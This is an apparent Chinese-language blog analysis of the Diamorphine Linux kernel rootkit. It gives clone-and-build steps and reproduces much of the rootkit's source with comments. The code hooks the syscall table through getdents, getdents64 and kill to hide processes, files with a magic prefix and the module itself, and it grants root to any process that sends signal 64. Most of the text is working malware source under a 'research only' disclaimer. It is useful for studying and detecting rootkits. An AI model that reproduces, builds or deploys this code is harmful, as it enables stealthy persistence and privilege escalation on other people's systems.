仅作LKM rootkit研究之用,滥用后果自负。
Diamorphine 是一个Linux内核模块, 支持内核版本 2.6.x/3.x/4.x。可通过 uname -r 查看内核版本。
特性:
- 当加载的时候, 模块是不可见的(lsmod 看不到);
- 通过发送31信号,可以达到隐藏和不隐藏进程的目的;
- 通过发送63信号,可以隐藏和不隐藏该内核模块;
- 通过发送64信号(给任何进程),可以将用户变成root;
- 如果文件或者目录以MAGIC_PREFIX开始,将会隐藏;
- 源码: https://github.com/m0nad/Diamorphine
安装:
下载代码
git clone https://github.com/m0nad/Diamorphine.git
进入目录
cd Diamorphine
编译(需要先安装依赖的内核头文件等)
make
具体操作可以参考 https://blog.csdn.net/Jailman/article/details/79964060
原理分析
模块加载函数diamorphine_init, 在初始化的时候就隐藏了该模块
static int __init
diamorphine_init(void)
{
/* 通过暴力搜索,获取系统调用表数组地址*/
__sys_call_table = get_syscall_table_bf();
if (!__sys_call_table)
return -1;
cr0 = read_cr0();
/* 隐藏该模块*/
module_hide();
tidy();
/* 保存Linux内核默认的系统调用函数*/
orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
unprotect_memory();
/* hook getdents getdents64 kill 系统调用*/
__sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
__sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
protect_memory();
return 0;
}
static void __exit
diamorphine_cleanup(void)
{
/* 恢复默认系统调用函数 */
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long)orig_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64;
__sys_call_table[__NR_kill] = (unsigned long)orig_kill;
protect_memory();
}
前面介绍了可以该模块可以隐藏进程等功能,下面分析其具体实现 hacked_kill
enum {
SIGINVIS = 31,
SIGSUPER = 64,
SIGMODINVIS = 63,
};
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
struct task_struct *task;
switch (sig) {
/* 隐藏与不隐藏进程*/
case SIGINVIS:
if ((task = find_task(pid)) == NULL)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
break;
/* 将用户提升为root*/
case SIGSUPER:
give_root();
break;
/* 隐藏于不隐藏该模块 */
case SIGMODINVIS:
if (module_hidden) module_show();
else module_hide();
break;
/* 如果发送的信号不是 31 63 64 走默认处理*/
default:
return orig_kill(pid, sig);
}
return 0;
}
查找进程
/* 内核进程通过链表连接,可以通过for_each_process宏从init进程遍历找到pid为pid的进程*/
struct task_struct *
find_task(pid_t pid)
{
struct task_struct *p = current;
for_each_process(p) {
if (p->pid == pid)
return p;
}
return NULL;
}
/* 将当前进程的用户组改成root,需要根据内核版本修改相应字段 */
void
give_root(void)
{
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = current->gid = 0;
current->euid = current->egid = 0;
current->suid = current->sgid = 0;
current->fsuid = current->fsgid = 0;
#else
struct cred *newcreds;
newcreds = prepare_creds();
if (newcreds == NULL)
return;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \
&& defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \
|| LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
newcreds->uid.val = newcreds->gid.val = 0;
newcreds->euid.val = newcreds->egid.val = 0;
newcreds->suid.val = newcreds->sgid.val = 0;
newcreds->fsuid.val = newcreds->fsgid.val = 0;
#else
newcreds->uid = newcreds->gid = 0;
newcreds->euid = newcreds->egid = 0;
newcreds->suid = newcreds->sgid = 0;
newcreds->fsuid = newcreds->fsgid = 0;
#endif
commit_creds(newcreds);
#endif
}
内核模块的隐藏和不隐藏通过module_hide、module_show 函数来实现, 也是链表的操作,这里就不讲了。
还有一个功能:隐藏目录;
#define MAGIC_PREFIX "diamorphine_secret"
可以在当前用户目录下创建一个diamorphine_secret。 然后在root用户下insmod diamorphine.ko ,使用ls命令看不到这个文件夹。
hacked_getdents64源码实现(hacked_getdents 类似)
/* ls命令会调用getdents64 、getdents系统调用 */
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
unsigned int count)
{
int ret = orig_getdents64(fd, dirent, count), err;
unsigned short proc = 0;
unsigned long off = 0;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
struct inode *d_inode;
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
/* 将原始结果拷贝到内核中*/
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
/*&& MINOR(d_inode->i_rdev) == 1*/)
proc = 1;
while (off < ret) {
dir = (void *)kdirent + off;
/* 判定当前路径中,是否包含MAGIC_PREFIX路径,隐藏*/
if ((!proc &&
(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
|| (proc &&
is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
/* 将修改后的结果拷贝到用户空间*/
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}